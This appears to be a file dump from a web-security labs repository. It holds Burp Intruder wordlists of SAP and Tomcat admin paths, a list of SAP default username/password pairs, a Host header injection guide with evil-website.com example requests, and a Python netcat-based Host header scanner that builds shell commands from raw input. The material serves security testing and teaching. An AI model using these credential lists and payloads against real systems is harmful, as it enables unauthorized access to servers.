/directory-traversal/directory-payload-list/Intruder/sap/sap.fuzz.txt:
--------------------------------------------------------------------------------
1 | /sap/bc/gui/sap/its/webgui
2 | /sap/public/icman/ping
3 | /sap/admin
4 | /sap/public/info
5 | /sap/wdisp/admin
6 | /scripts/wgate
7 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/sap/sap_common.txt:
--------------------------------------------------------------------------------
1 | sapservice
2 | sapadm
3 | adm
4 | sqd
5 | sapdb
6 |
7 | sapservice
8 | sapr3
9 | sapsr3
10 | ora
11 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/sap/sap_default.txt:
--------------------------------------------------------------------------------
1 | SAP* 06071992
2 | SAP* PASS
3 | DDIC 19920706
4 | DDIC Welcome01
5 | SAPCPIC ADMIN
6 | EARLYWATCH SUPPORT
7 | TMSADM PASSWORD
8 | TMSADM ADMIN
9 | TMSADM $1Pawd2&
10 | ADMIN welcome
11 | ADSUSER ch4ngeme
12 | ADS_AGENT ch4ngeme
13 | DEVELOPER ch4ngeme
14 | J2EE_ADMIN ch4ngeme
15 | SAPJSF ch4ngeme
16 | SAPR3 SAP
17 | CTB_ADMIN sap123
18 | XMI_DEMO sap123
19 | IDEADM admin
20 | SMD_ADMIN init1234
21 | SMD_BI_RFC init1234
22 | SMD_RFC init1234
23 | SOLMAN_ADMIN init1234
24 | SOLMAN_BTC init1234
25 | SAPSUPPORT init1234
26 | CONTENTSERV init1234
27 | SMD_AGT init1234
28 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/tomcat/apachetomcat.fuzz.txt:
--------------------------------------------------------------------------------
1 | /examples
2 | /examples/jsp/index.html
3 | /examples/jsp/snp/snoop.jsp
4 | /examples/jsp/source.jsp
5 | /examples/servlet/HelloWorldExample
6 | /examples/servlet/SnoopServlet
7 | /examples/servlet/TroubleShooter
8 | /examples/servlet/default/jsp/snp/snoop.jsp
9 | /examples/servlet/default/jsp/source.jsp
10 | /examples/servlet/org.apache.catalina.INVOKER.HelloWorldExample
11 | /examples/servlet/org.apache.catalina.INVOKER.SnoopServlet
12 | /examples/servlet/org.apache.catalina.INVOKER.TroubleShooter
13 | /examples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/snp/snoop.jsp
14 | /examples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/source.jsp
15 | /examples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/snp/snoop.jsp
16 | /examples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/source.jsp
17 | /examples/servlet/snoop
18 | /examples/servlets/index.html
19 | /jsp-examples
20 | /manager
21 | /manager/deploy?path=foo
22 | /manager/html/
23 | /servlet/default/
24 | /servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.DefaultServlet/tomcat.gif
25 | /servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.SnoopAllServlet
26 | /servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.WebdavServlet/
27 | /servlet/org.apache.catalina.servlets.DefaultServlet/
28 | /servlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif
29 | /servlet/org.apache.catalina.servlets.HTMLManagerServlet
30 | /servlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif
31 | /servlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.SnoopAllServlet
32 | /servlet/org.apache.catalina.servlets.ManagerServlet
33 | /servlet/org.apache.catalina.servlets.SnoopAllServlet
34 | /servlet/org.apache.catalina.servlets.WebdavServlet/
35 | /tomcat-docs
36 | /webdav
37 | /webdav/index.html
38 | /webdav/servlet/org.apache.catalina.servlets.WebdavServlet/
39 | /webdav/servlet/webdav/
40 | /conf/
41 | /conf/server.xml/
42 | /WEB-INF/
43 | /WEB-INF/web.xml
44 | /WEB-INF/classes/
45 | /shared/
46 | /shared/lib/
47 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/tomcat/tomcat-2.txt:
--------------------------------------------------------------------------------
1 | examples
2 | examples/jsp/index.html
3 | examples/servlets/index.html
4 | examples/servlet/HelloWorldExample
5 | examples/servlet/org.apache.catalina.INVOKER.HelloWorldExample
6 | examples/servlet/snoop
7 | examples/servlet/SnoopServlet
8 | examples/servlet/org.apache.catalina.INVOKER.SnoopServlet
9 | examples/servlet/TroubleShooter
10 | examples/servlet/org.apache.catalina.INVOKER.TroubleShooter
11 | examples/jsp/snp/snoop.jsp
12 | examples/jsp/source.jsp
13 | servlet/default/
14 | servlet/org.apache.catalina.servlets.DefaultServlet/
15 | examples/servlet/default/jsp/snp/snoop.jsp
16 | examples/servlet/default/jsp/source.jsp
17 | examples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/snp/snoop.jsp
18 | examples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/source.jsp
19 | manager
20 | tomcat-docs
21 | webdav
22 | webdav/index.html
23 | webdav/servlet/webdav/
24 | webdav/servlet/org.apache.catalina.servlets.WebdavServlet/
25 | servlet/org.apache.catalina.servlets.WebdavServlet/
26 | servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.WebdavServlet/
27 | examples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/snp/snoop.jsp
28 | examples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/source.jsp
29 | servlet/org.apache.catalina.servlets.SnoopAllServlet
30 | servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.SnoopAllServlet
31 | servlet/org.apache.catalina.servlets.ManagerServlet
32 | servlet/org.apache.catalina.servlets.HTMLManagerServlet
33 | servlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.SnoopAllServlet
34 | servlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif
35 | servlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif
36 | servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.DefaultServlet/tomcat.gif
37 | ?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1
38 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/Intruder/wordpress/wordpress_detector.txt:
--------------------------------------------------------------------------------
1 | wp-admin/js/common.js
2 | wp-includes/js/jquery/jquery.js
3 | wp-includes/js/wp-lists.js
4 | wp-includes/js/plupload/plupload.js
5 | wp-includes/css/admin-bar.css
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Payload Box
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/directory-traversal/directory-payload-list/img/directory-image.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/directory-traversal/directory-payload-list/img/directory-image.jpg
--------------------------------------------------------------------------------
/file-upload-vulnerabilities/How to Exploit File Upload Vulnerabilities (and How to Fix Them!) we45 Blogs.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/paulveillard/cybersecurity-web-application-labs/9b6b4484b7ff743b0d54fb296ce0fb3a454ddd27/file-upload-vulnerabilities/How to Exploit File Upload Vulnerabilities (and How to Fix Them!) we45 Blogs.pdf
--------------------------------------------------------------------------------
/file-upload-vulnerabilities/file-upload.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | ## What are file upload vulnerabilities?
5 | File upload vulnerabilities are when a web server allows users to upload files to its filesystem without sufficiently validating things like their name, type, contents, or size. Failing to properly enforce restrictions on these could mean that even a basic image upload function can be used to upload arbitrary and potentially dangerous files instead. This could even include server-side script files that enable remote code execution.
6 |
7 | > In some cases, the act of uploading the file is in itself enough to cause damage. Other attacks may involve a follow-up HTTP request for the file, typically to trigger its execution by the server.
8 |
9 | - https://www.we45.com/post/how-to-exploit-file-upload-vulnerabilities-and-how-to-fix-them
10 | - https://portswigger.net/web-security/file-upload
11 | - https://0xn3va.gitbook.io/cheat-sheets/web-application/file-upload-vulnerabilities
12 |
--------------------------------------------------------------------------------
/http-host-header-injection/HTTP-Host-Header-Injection.md:
--------------------------------------------------------------------------------
1 | # Host Header Injection
2 |
3 | ## Introduction
4 | HTTP Host header attacks exploit vulnerable websites that handle the value of the Host header in an unsafe way. If the server implicitly trusts the Host header, and fails to validate or escape it properly, an attacker may be able to use this input to inject harmful payloads that manipulate server-side behavior. Attacks that involve injecting a payload directly into the Host header are often known as "Host header injection" attacks.
5 |
6 | ## Where to find
7 | In the feature where the website can send email to us. For example forgot password / newsletter.
8 |
9 | ## How to exploit
10 | 1. Change the host header
11 | ```
12 | GET /index.php HTTP/1.1
13 | Host: evil-website.com
14 | ...
15 | ```
16 | 2. Duplicating the host header
17 | ```
18 | GET /index.php HTTP/1.1
19 | Host: vulnerable-website.com
20 | Host: evil-website.com
21 | ...
22 | ```
23 | 3. Add line wrapping
24 | ```
25 | GET /index.php HTTP/1.1
26 | Host: vulnerable-website.com
27 | Host: evil-website.com
28 | ...
29 | ```
30 | 4. Add host override headers
31 | ```
32 | X-Forwarded-For: evil-website.com
33 | X-Forwarded-Host: evil-website.com
34 | X-Client-IP: evil-website.com
35 | X-Remote-IP: evil-website.com
36 | X-Remote-Addr: evil-website.com
37 | X-Host: evil-website.com
38 | ```
39 | How to use? In this case im using "X-Forwarded-For : evil.com"
40 | ```
41 | GET /index.php HTTP/1.1
42 | Host: vulnerable-website.com
43 | X-Forwarded-For : evil-website.com
44 | ...
45 | ```
46 | 5. Supply an absolute URL
47 | ```
48 | GET https://vulnerable-website.com/ HTTP/1.1
49 | Host: evil-website.com
50 | ...
51 | ```
52 |
53 | ## References
54 | * [PortSwigger](https://portswigger.net/web-security/host-header/exploiting)
55 |
--------------------------------------------------------------------------------
/http-host-header-injection/Host-Header-Attack-Test/Host-Header-Vulnerability-Detection.py:
--------------------------------------------------------------------------------
1 | import os
2 | import fileinput
3 | from termcolor import colored
4 | import commands
5 |
6 |
7 |
8 | def MakeCommand(line,domain):
9 | command = r"""echo "GET %s HTTP/1.1\r\nHost:evil.com\r\n\r\n" | netcat %s 80 """ % (str(line), str(domain))
10 | return command
11 |
12 |
13 |
14 |
15 | website = raw_input("Enter Site Address : ")
16 |
17 | if '//' in website:
18 | domain = website.split("//")
19 | domain = domain[1]
20 | else:
21 | domain = website
22 | website = 'http://' + website
23 | if (not os.path.isfile('results/' + str(domain) + '.txt')):
24 | os.mknod('results/' + str(domain) + '.txt')
25 | print "web crawling start ..."
26 | os.system('python crawler.py -d 20 -l ' + str(website) + ' > sitepath.txt')
27 | print "web crawling end ..."
28 |
29 | for line in fileinput.input(['sitepath.txt']):
30 | line = line.strip()
31 | line = line.split(" ")
32 | line = line[1]
33 | command = MakeCommand(line, domain)
34 | x= commands.getstatusoutput(command)
35 | if "evil.com" in x[1]:
36 | print colored('[-] '+str(line) + ' ----> vulnerable', 'red')
37 | with open('results/' + str(domain) + '.txt', "a") as myfile:
38 | myfile.write(str(line)+'\n')
39 | else:
40 | print colored('[+] '+str(line), 'green')
41 |
42 | for line in fileinput.input(['mycrawler.txt']):
43 | line = line.strip()
44 | command = MakeCommand(line, domain)
45 | x= commands.getstatusoutput(command)
46 | if "evil.com" in x[1]:
47 | print colored('[-] '+str(line) + ' ----> vulnerable', 'red')
48 | with open('results/' + str(domain) + '.txt', "a") as myfile:
49 | myfile.write(str(line)+'\n')
50 | else:
51 | print colored('[+] '+str(line), 'green')
52 | print 'save in results/' + str(domain) + '.txt'
53 |
--------------------------------------------------------------------------------
/http-host-header-injection/Host-Header-Attack-Test/README.md:
--------------------------------------------------------------------------------
1 | 
2 | ## Host Header Attack Test - Description (Acunetix)
3 | In many cases, developers are trusting the HTTP Host header value and using it to generate links, import scripts and even generate password resets links with its value. This is a very bad idea, because the HTTP Host header can be controlled by an attacker. This can be exploited using web-cache poisoning and by abusing alternative channels like password reset emails.
4 | ##Install
5 | please Installing python 2.7 or higher, for example, in centos 6.3, see the link below
6 | [Installing python 2.7 on centos 6.3](https://github.com/h2oai/h2o-2/wiki/installing-python-2.7-on-centos-6.3.-follow-this-sequence-exactly-for-centos-machine-only)
12 | if You are using pip version 7.1.0, You should consider upgrading via the `pip install --upgrade pip` command
13 |
14 | ##Usage
15 | 1. `python Host-Header-Vulnerability-Detection.py`
16 | 2. type your domain
17 | 3. Wait until the process is completed and see results directory
18 |
19 | ##Remediation (Acunetix)
20 | The web application should use the SERVER_NAME instead of the Host header. It should also create a dummy vhost that catches all requests with unrecognized Host headers. This can also be done under Nginx by specifying a non-wildcard SERVER_NAME, and under Apache by using a non-wildcard serverName and turning the UseCanonicalNam
21 |
22 | ##contact with me
23 | Email : keramat.alijani@aut.ac.ir
24 |
25 |
26 |
--------------------------------------------------------------------------------
/http-host-header-injection/Host-Header-Attack-Test/mycrawler.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/http-host-header-injection/Host-Header-Attack-Test/requirements.txt:
--------------------------------------------------------------------------------
1 | termcolor
2 | re
3 | urlparse
4 | optparse
5 | hashlib
6 | cgi
7 | traceback
8 | bs4
9 |
--------------------------------------------------------------------------------
/http-host-header-injection/Host-Header-Attack-Test/results/New Text Document.txt:
--------------------------------------------------------------------------------
1 | keramatAlijani/Host-Header-Attack-Test
2 |
--------------------------------------------------------------------------------
/http-host-header-injection/Host-Header-Attack-Test/sitepath.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/jwt-authentication/json-web-tokens-introduction/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | _**Please read** our_
2 | [**contribution guide**](https://github.com/dwyl/contributing)
3 | (_thank you_!)
4 |
--------------------------------------------------------------------------------
/jwt-authentication/json-web-tokens-introduction/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) 2016 Do What You Love (DWYL)
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4 |
5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6 |
7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8 |
--------------------------------------------------------------------------------
/jwt-authentication/json-web-tokens-introduction/Procfile:
--------------------------------------------------------------------------------
1 | web: node example/server.js
2 |
--------------------------------------------------------------------------------
/jwt-authentication/json-web-tokens-introduction/example/server.js:
--------------------------------------------------------------------------------
1 | var port = process.env.PORT || 1337; // let heroku define port or use 1337
2 | var http = require('http'); // core node.js http (no frameworks)
3 | var url = require('url'); // core node.js url (no frameworks)
4 | var app = require('./lib/helpers'); // auth, token verification & render helpers
5 | var c = function(res){ /* */ };
6 |
7 | http.createServer(function (req, res) {
8 | var path = url.parse(req.url).pathname;
9 | if( path === '/' || path === '/home' ) { app.home(res); } // homepage
10 | else if( path === '/auth') { app.handler(req, res); } // authenticator
11 | else if( path === '/private') { app.validate(req, res, app.done); } // private content
12 | else if( path === '/logout') { app.logout(req, res, app.done); } // end session
13 | else if( path === '/exit') { app.exit(res); } // for testing ONLY
14 | else { app.notFound(res); } // 404 error
15 | }).listen(port);
16 |
17 | console.log("Visit: http://127.0.0.1:" + port);
18 |
--------------------------------------------------------------------------------
/jwt-authentication/json-web-tokens-introduction/example/test/mock.js:
--------------------------------------------------------------------------------
1 | // both the request and response http objects are event emitters
2 | var events = require('events'); // lets use the core node.js event emmitter
3 | var req = new events.EventEmitter(); // gives us req.emit and req.on('data')
4 | var res = new events.EventEmitter(); // gives us res.emit and req.on('data')
5 |
6 | // mock methods for http request & response
7 | // request should have:
8 | // req.headers
9 | // just set the desired headers object before invoking the function
10 | // here are a few defaults
11 | req.headers = {
12 | 'Content-Type': 'text/html',
13 | 'user-agent': 'Mozilla/5.0',
14 | }
15 |
16 | // req.method e.g: POST or GET
17 | // default to POST cause our check is for this method in authHandler
18 | req.method = 'POST';
19 |
20 | // req.on('data' ... borrowed from event emitter (see above)
21 | // req.on('end' ... event emitter (again)
22 | // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
23 |
24 | // response shoud have
25 | // res.writeHead(
26 | res.writeHead = function(status, headers) {
27 | res = res || {};
28 | res.headers = headers;
29 | res.status = status;
30 | return res;
31 | }
32 |
33 | // res.end(
34 | res.end = function(str) {
35 | res = res || {};
36 | res.body = str;
37 | return res;
38 | }
39 |
40 |
41 | module.exports = {
42 | req : req,
43 | res : res
44 | }
45 |
--------------------------------------------------------------------------------
/jwt-authentication/json-web-tokens-introduction/example/views/fail.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Authentication with JSON Web Tokens
7 |
8 |
9 |
10 |